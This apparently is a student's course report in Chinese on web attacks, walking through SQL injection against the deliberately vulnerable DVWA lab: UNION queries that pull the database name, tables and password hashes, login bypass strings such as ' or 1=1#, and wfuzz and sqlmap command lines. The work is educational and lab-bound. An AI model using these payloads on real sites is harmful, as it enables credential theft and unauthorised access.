2017-2018-2 20179205 《網絡攻防技術與實踐》第五週做業

《網絡攻防技術與實踐》第五週學習總結

教材11、十二章學習總結

  教材11、二章主要概述了Web應用體系結構各個層面上所面對的安全威脅,以及針對Web應用的多樣化攻擊渠道,Web瀏覽器攻擊技術。並經過實例介紹了目前Web應用程序攻擊技術——SQL注入與XSS跨站腳本。Web瀏覽器、網頁木馬、釣魚技術等內容。php

sql注入經常使用技術包括:java

  • 採用非主流通道技術
  • 避開輸入過濾技術
  • 使用特殊的字符
  • 強制產生錯誤
  • 使用條件語句
  • 利用存儲過程
  • 推斷技術
  • ........

  DVWA (Dam Vulnerable Web Application)DVWA是用PHP+Mysql編寫的一套用於常規WEB漏洞教學和檢測的WEB脆弱性測試程序。包含了SQL注入、XSS、盲注等常見的一些安全漏洞。在虛擬機上須要下載安裝,因爲在上學期Linux課時已經完成了此步驟,因此直接能夠拿來操做。mysql

教材實踐學習:Sql 注入漏洞

1.Sql 注入產生緣由及威脅:

  當咱們訪問動態網頁時, Web 服務器會向數據訪問層發起 Sql 查詢請求,若是權限驗證經過就會執行 Sql 語句
這種網站內部直接發送的Sql請求通常不會有危險,但實際狀況是不少時候須要結合用戶的輸入數據動態構造 Sql 語句,若是用戶輸入的數據被構形成惡意 Sql 代碼,Web 應用又未對動態構造的 Sql 語句使用的參數進行審查,則會帶來意想不到的危險。linux

  Sql 注入帶來的威脅主要有以下幾點:程序員

  • 猜解後臺數據庫,這是利用最多的方式,盜取網站的敏感信息。
  • 繞過認證,列如繞過驗證登陸網站後臺。
  • 注入能夠藉助數據庫的存儲過程進行提權等操做

2.Sql 注入實驗一.猜解數據庫

  進入Firefox瀏覽器,輸入網址: localhost/dvwasql, 點擊create/Reset Database建立數據庫。進入登陸界面,默認用戶名爲 admin 密碼爲 passwordweb

將Security 級別調整爲low:sql

進入 SQL injection頁面開始注入,先輸入 1 ,查看回顯 (URL中ID=1,說明php頁面經過get方法傳遞參數):shell

那實際上後臺執行了什麼樣的Sql語句呢?點擊 view source查看源代碼:數據庫

能夠看到,實際執行的Sql語句是:
SELECT first_name, last_name FROM users WHERE user_id = '1';ubuntu

若是咱們不按常理出牌,好比在輸入框中輸入 1' order by 1#

實際執行的Sql語句就會變成:

SELECT first_name, last_name FROM users WHERE user_id = '1' order by 1#`;
(按照Mysql語法,#後面會被註釋掉,使用這種方法屏蔽掉後面的單引號,避免語法錯誤)

這條語句的意思是查詢users表中user_id爲1的數據並按第一字段排行。

輸入1' order by 1#1' order by 2# 時都返回正常:

當輸入 1' order by 3#時,返回錯誤:

由此可知,users表中只有兩個字段,數據爲兩列。

接下來咱們使用 union select聯合查詢繼續獲取信息。

  union 運算符能夠將兩個或兩個以上 select 語句的查詢結果集合合併成一個結果集合顯示,即執行聯合查詢。須要注意在使用 union 查詢的時候須要和主查詢的列數相同,而咱們以前已經知道了主查詢列數爲 2,接下來就好辦了。

輸入1' union select database(),user()#進行查詢 :

  • database()將會返回當前網站所使用的數據庫名字.
  • user()將會返回執行當前查詢的用戶名.
    實際執行的Sql語句是 :

SELECT first_name, last_name FROM users WHERE user_id = '1' union select database(),user()#;
`

經過上圖返回信息,咱們成功獲取到:

  • 當前網站使用數據庫爲 dvwa .
  • 當前執行查詢用戶名爲 root@localhost

同理咱們再輸入 1' union select version(),@@version_compile_os#進行查詢:

  • version() 獲取當前數據庫版本.
  • @@version_compile_os 獲取當前操做系統。

實際執行的Sql語句是:

SELECT first_name, last_name FROM users WHERE user_id = '1' union select version(),@@version_compile_os#`;

經過上圖返回信息,咱們又成功獲取到:

  • 當前數據庫版本爲 : 5.6.31-0ubuntu0.15.10.1.
  • 當前操做系統爲 : debian-linux-gnu

接下來咱們嘗試獲取 dvwa 數據庫中的表名。

information_schema 是 mysql 自帶的一張表,這張數據表保存了Mysql服務器全部數據庫的信息,如數據庫名,數據庫的表,表欄的數據類型與訪問權限等。該數據庫擁有一個名爲tables的數據表,該表包含兩個字段table_nametable_schema,分別記錄DBMS中的存儲的表名和表名所在的數據庫。

咱們輸入 1' union select table_name,table_schema from information_schema.tables where table_schema= 'dvwa'# 進行查詢:

實際執行的Sql語句是:

SELECT first_name, last_name FROM users WHERE user_id = '1' union select table_name,table_schema from information_schema.tables where table_schema= 'dvwa'#`;

經過上圖返回信息,咱們再獲取到:

  • dvwa 數據庫有兩個數據表,分別是 guestbook 和 users

有些同窗確定還不知足目前獲取到的信息,那麼咱們接下來嘗試獲取重量級的用戶名、密碼。

由經驗咱們能夠大膽猜想users表的字段爲user 和 password,因此輸入:1' union select user,password from users# 進行查詢:

實際執行的 Sql 語句是:

SELECT first_name, last_name FROM users WHERE user_id = '1' union select user,password from users#

能夠看到成功爆出用戶名、密碼,密碼採用 md5 進行加密,能夠到www.cmd5.com進行解密。

3.Sql 注入實驗二.驗證繞過

  接下來咱們再試試另外一個利用 Sql 漏洞繞過登陸驗證的實驗。在Firefox 瀏覽器,輸入網址 : localhost/sql2 , 按照下圖所示順序,初始化數據:
準備工做完成以後,咱們進入首頁發現這是一個普通的登陸頁面,只要輸入正確的用戶名和密碼就能登陸成功。

咱們先嚐試隨意輸入用戶名 123 和密碼 123 登陸:

從錯誤頁面中咱們沒法獲取到任何信息。

看看後臺代碼如何作驗證的:

實際執行的操做時:

select * from users where username='123' and password='123'

當查詢到數據表中存在同時知足 username 和 password 字段時,會返回登陸成功。
按照第一個實驗的思路,咱們嘗試在用戶名中輸入123' or 1=1#, 密碼一樣輸入123' or 1=1 #

爲何可以成功登錄呢?由於實際執行的語句是:
select * from users where username='123' or 1=1 #' and password='123' or 1=1 #'

按照 Mysql 語法,# 後面的內容會被忽略,因此以上語句等同於(實際上密碼框裏不輸入任何東西也同樣):
select * from users where username='123' or 1=1

因爲判斷語句 or 1=1 恆成立,因此結果固然返回真,成功登陸。

咱們再嘗試不使用 # 屏蔽單引號,採用手動閉合的方式:

咱們嘗試在用戶名中輸入123' or '1'='1, 密碼一樣輸入123' or '1'='1(不能少了單引號,不然會有語法錯誤):

實際執行的 Sql 語句是:

select * from users where username='123' or '1'='1' and password='123' or '1'='1`

兩個 or 語句使 and 先後兩個判斷永遠恆等於真,因此可以成功登陸。

4.判斷Sql注入點

一般狀況下,可能存在 Sql 注入漏洞的 Url 是相似這種形式 :http://xxx.xxx.xxx/abcd.php?id=XX

對 Sql 注入的判斷,主要有兩個方面:

  • 判斷該帶參數的 Url 是否存在 Sql 注入?
  • 若是存在 Sql 注入,那麼屬於哪一種 Sql 注入?

  可能存在 Sql 注入攻擊的 ASP/PHP/JSP 動態網頁中,一個動態網頁中可能只有一個參數,有時可能有多個參數。有時是整型參數,有時是字符串型參數,不能一律而論。總之只要是帶有參數的 動態網頁且此網頁訪問了數據庫,那麼就有可能存在 Sql 注入。若是程序員沒有足夠的安全意識,沒有進行必要的字符過濾,存在SQL注入的可能性就很是大。

4.1判斷是否存在 Sql 注入漏洞

最爲經典的單引號判斷法:

在參數後面加上單引號,好比:

http://xxx/abc.php?id=1'

若是頁面返回錯誤,則存在 Sql 注入。

緣由是不管字符型仍是整型都會由於單引號個數不匹配而報錯。

注:若是未報錯,不表明不存在 Sql 注入,由於有可能頁面對單引號作了過濾,這時可使用判斷語句進行注入

4.2判斷 Sql 注入漏洞的類型

一般 Sql 注入漏洞分爲 2 種類型:

  • 數字型
  • 字符型

  其實全部的類型都是根據數據庫自己表的類型所產生的,在咱們建立表的時候會發現其後總有個數據類型的限制,而不一樣的數據庫又有不一樣的數據類型,可是不管怎麼分經常使用的查詢數據類型老是以數字與字符來區分的,因此就會產生注入點爲什麼種類型。

4.2.1 數字型判斷:

當輸入的參 x 爲整型時,一般 abc.php 中 Sql 語句類型大體以下:

select * from <表名> where id = x

這種類型可使用經典的 and 1=1and 1=2 來判斷:

Url 地址中輸入 http://xxx/abc.php?id= x and 1=1頁面依舊運行正常,繼續進行下一步。
Url 地址中繼續輸入http://xxx/abc.php?id= x and 1=2 頁面運行錯誤,則說明此 Sql 注入爲數字型注入。
緣由以下:

當輸入 and 1=1時,後臺執行 Sql 語句:

select * from <表名> where id = x and 1=1

沒有語法錯誤且邏輯判斷爲正確,因此返回正常。

當輸入and 1=2時,後臺執行 Sql 語句:

select * from <表名> where id = x and 1=2

沒有語法錯誤可是邏輯判斷爲假,因此返回錯誤。

咱們再使用假設法:若是這是字符型注入的話,咱們輸入以上語句以後應該出現以下狀況:

select * from <表名> where id = 'x and 1=1' 
select * from <表名> where id = 'x and 1=2'

查詢語句將 and 語句所有轉換爲了字符串,並無進行 and 的邏輯判斷,因此不會出現以上結果,故假設是不成立的。

4.2.2 字符型判斷:

當輸入的參 x 爲字符型時,一般 abc.php 中 SQL 語句類型大體以下:

select * from <表名> where id = 'x'

這種類型咱們一樣可使用and '1'='1and '1'='2 來判斷:

Url 地址中輸入http://xxx/abc.php?id= x' and '1'='1 頁面運行正常,繼續進行下一步。
Url 地址中繼續輸入http://xxx/abc.php?id= x' and '1'='2頁面運行錯誤,則說明此 Sql 注入爲字符型注入。
緣由以下:

當輸入 and '1'='1時,後臺執行 Sql 語句:

select * from <表名> where id = 'x' and '1'='1'

語法正確,邏輯判斷正確,因此返回正確。

當輸入 and '1'='2時,後臺執行 Sql 語句:

select * from <表名> where id = 'x' and '1'='2'

語法正確,但邏輯判斷錯誤,因此返回正確。

視頻學習總結

1、kali漏洞分析之數據庫評估(一)

  WEB層與數據庫鏈接的漏洞鏈接在安全測試中並很多見,OWASP中的SQL注入漏洞即是所以產生。下面對kali Linux對數據庫評估工具的分類進行介紹。

1.BBQSql(半自動)

BBQSql是一個Python編寫的盲注工具,當檢測可疑的注入漏洞時會頗有用,容許客戶自定義參數。

2.DBPwAudit(數據庫用戶名密碼枚舉工具)

3.HexorBase(開源)圖形化的密碼破解與鏈接工具

有四個數據庫類型:

4.Jsql Injection

  Jsql是一款輕量級安全測試工具,能夠檢測SQL注入漏洞。它跨平臺(windows,linux,Mac OSX,Solaris)/開源且免費。將存在注入漏洞的URL貼進來就能夠進行相應的漏洞利用;圖形化界面比較親民,但使用效果有待改善。

5.MDBTools

包括MDB-Exprot,以及MDB-Dump, mdb-parsecsv,mdb-sql,mdb-tables等子工具,具體環境具體使用。

6.Oracle Scanner

Oscanner是一個用java開發的Oracle評估工具,它是基於插件的結果,當前由兩個插件能夠作:

-Sid列舉、口令測試、列舉Oracle版本、列舉帳號角色、特權、哈希、,列舉審計信息、列舉口令策略、列舉數據庫連接。

7.SIDGusser

一樣是針對Oracle的SID進行暴力枚舉工具,SID爲Oracle實例名,Oracle鏈接字符串,經過實例名+用戶+密碼鏈接。

8.SqIDICT 用戶名枚舉工具,經過Wine運行

1、kali漏洞分析之數據庫評估(二)

1.tnscmd10g 容許向Oracle注入命令(不經常使用)

2.Sqlsus

  Sqlsus是一個開源的MYSQL注入和接管工具,Sqlsus使用perl編寫,基於命令行界面,能夠獲取數據庫結構,注入本身的SQL語句,從服務區下載文件,爬行web站點可寫目錄,上傳和控制後門,克隆數據庫等等。最好用的兩點就是注射獲取數據速度很是快,可自動搜索可寫目錄。

能夠看到Sqlsus中只有四個參數命令,要注入語句,首先-g生成一個文件,進行編輯,在文件中標紅的框內插入想要測試的語句,寫入地址。

啓動並測試命令:sqlsus test.conf
獲取數據庫數據
查看所有數據庫名字:sqlsus> get databases
設定數據庫: sqlsus> set databases
獲取表: sqlsus> get tables

3.Sqlninja(sql注入的神器)

  Sqlninja是一款perl編寫的,側重於得到一個shell。Sqlninja是專門針對Microsoft SQLServer的sql注入工具。可找到遠程SQL服務器的版本和特徵;對管理員口令「sa」進行強力攻擊;一旦找到口令就將特權提高到「sa」權限;若是原始的xp_cmdshell被禁用後,就建立一個定製的xp_cmdshell;不須要FTP鏈接;爲了找到目標網絡的防火牆所容許的端口,能夠實施針對目標SQL服務器的TCP/UDP端口掃描;逃避技術,使注入代碼「模糊」不清,而且混淆/繞過基於強命的IPS和應用層防火牆;採用「盲目執行」攻擊模式,能夠用於發佈命令並執行診斷;若是獲得權限爲sa,能夠結合msf進一步對目標主機進行滲透。


4.Sqlmap

  SQLMAP是一個開源的滲透測試工具,是用Python編寫。主要用於自動化的偵測和實施SQL注入攻擊以及滲透數據庫服務器。配有強大的偵測引擎,適用於高級滲透測試用戶,不只能夠得到不一樣的數據庫指紋信息,還能夠從數據庫中提取數據,有很強大的抓取數據的能力。

sql -u "http://xxxx/id/1*" 僞靜態
--sql-shell

  SQLMAP還有不少衆多功能,如繞過WAF的tamper,修改UA的random-agent等等參數,須要在實際中靈活使用。

3、kali漏洞分析之Web應用代理

1.Burp Suite

是用於攻擊web應用程序集成平臺。經過默認端口8080上運行,使用這個代理,能夠截獲客戶端到web應用程序的數據包。

打開後發現有不少標籤頁:

監聽端口:

這時咱們訪問一個地址,好比百度,發現並不能立刻打開一個界面,此時Burp Suite多了一個get請求:

點擊forward,這時百度頁面打開:

當利用百度查詢信息時,發現Burp Suite多了幾個get請求,若是將其撤回,那麼頁面出錯:

2.OwaspZAP

  攻擊代理,是一款查找網頁的應用程序漏洞綜合滲透測試工具。包含攔截代理,被動處理,暴力破解,端口掃描,以及蜘蛛搜索等功能。頁面中的中文標籤比較親民:

3.paros

  paros proxy,這是一個對Web應用程序的漏洞進行評估的代理程序,基於Java的Web代理程序,可評估Web應用程序的漏洞。它支持動態的編輯/查看 HTTP/HTTPS,從而改變cookies和表單字段等項目。它包括一個Web通訊記錄程序,Web圈套程序(spider),hash計算器,還有一個能夠測試常見的Web應用程序攻擊(如SQL注入式攻擊和跨站腳本攻擊)的掃描器。該工具檢查漏洞形式包括:SQL注入、跨站腳本攻擊、目錄遍歷等。

4.vega掃描漏洞及代理

  這是一個開源的web應用程序安全測試平臺,vega可以幫助你驗證SQL注入、跨站腳本(XSS)、敏感信息泄露和其餘一些安全漏洞。vega使用java編寫,有GUI,能夠在Linux、OS X和windows下運行。vega相似於paros proxy、 Fiddler、skipfish and ZAproxy

5. WebScarab

  這是一款代理軟件,包括HTTP代理,網絡爬行、網絡蜘蛛,會話ID分析,自動腳本藉口,模糊測試工具,WEB格式的編碼/解碼,WEB服務描述語言和SOAP解析器等功能模塊。WebScarab基於GNU協議,使用Java編寫,是WebGoat中所使用的工具之一。

端口監聽:

4、kali漏洞分析之BurpSuite



1.配置監聽端口,配置瀏覽器,在大多數瀏覽器,只須要打開設置-網絡-代理,而後使用「localhost」和端口「8080」(默認),而後保存更新的設置。

2.爬蟲與掃描

3.測試暴力破解表單帳戶密碼

4.Reapeater 改包重放模塊

5.Decoder模塊

6.compare模塊

比較兩個請求包或返回包的的不一樣之處:

7.插件模塊

5、kali漏洞分析之Fuzz工具

1.Bed.pl

  Bed是一個純文本協議的Fuzz工具,可以檢查常見的漏洞,如緩衝區溢出,格式串漏洞,整數溢出等。
能夠針對不一樣的協議使用不一樣的插件
-s 針對FTP協議,FTP參數
-t 目標IP地址
-p 目標端口
-o timeout
發送一連串畸形數據包,嘗試使程序報錯,進行判斷。

2.Fuzz_ipv6

THC出品的針對IPV6協議的模糊測試工具

3.0hrwurm(RTP fuzzer)(不經常使用)

4.PowerFuzzer

5.Wfuzz

  針對WEB應用的模糊測試工具,能夠進行web應用暴力猜解,也支持對網站目錄、登陸信息、應用資源文件等的暴力猜解,還能夠進行get及post參數的猜解,sql注入、xss漏洞的測試等。全部功能依賴於字典。
登陸get請求,登陸頁面口令猜解,忽略404頁面
使用參數如:

wfuzz -c -z file,users.txt -z file,pass.txt -hc 404 http://www.site.com/log.asp?user=FUZZ&pass=FUZZ

頁面數目猜解
wfuzz -c -z range,1-10 --hc=BBB http://www.site.com/FUZZ{something}
與BurpSuite相比更輕量

6.SFuzz:Simple-Fuzzer

7.XSSer

針對XSS漏洞的挖掘 xsser --gtk 圖形化界面 對一個頁面或點進行xss測試,判斷是否有XSS的漏洞

相關文章
相關標籤/搜索